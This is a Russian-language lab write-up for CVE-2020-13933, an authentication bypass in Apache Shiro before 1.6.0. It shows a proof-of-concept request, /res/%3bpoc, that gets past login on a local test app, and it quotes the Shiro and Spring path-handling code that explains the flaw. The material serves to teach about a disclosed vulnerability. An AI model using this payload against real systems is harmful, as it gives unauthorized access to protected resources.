
CVE-2020-13933 Полигон: уязвимость обхода аутентификации Shiro
Уязвимость обхода аутентификации в shiro < 1.6.0
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/* выполняется 302-редирект на страницу входа для аутентификацииNameController.java:
/res/{name}: запрашивает ресурс с именем name (вызывает аутентификацию)
/res/: не запрашивает никаких ресурсов (не вызывает аутентификацию)Если в маршруте запроса не указано имя ресурса, аутентификация не срабатывает и ресурс не возвращается: http://127.0.0.1:8080/res/

При указании имени ресурса в маршруте запроса выполняется 302-редирект на страницу аутентификации: http://127.0.0.1:8080/res/poc

При формировании специального PoC-запроса с указанием ресурса аутентификация не срабатывает и ресурс возвращается: http://127.0.0.1:8080/res/%3bpoc (%3b — URL-кодировка ;)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}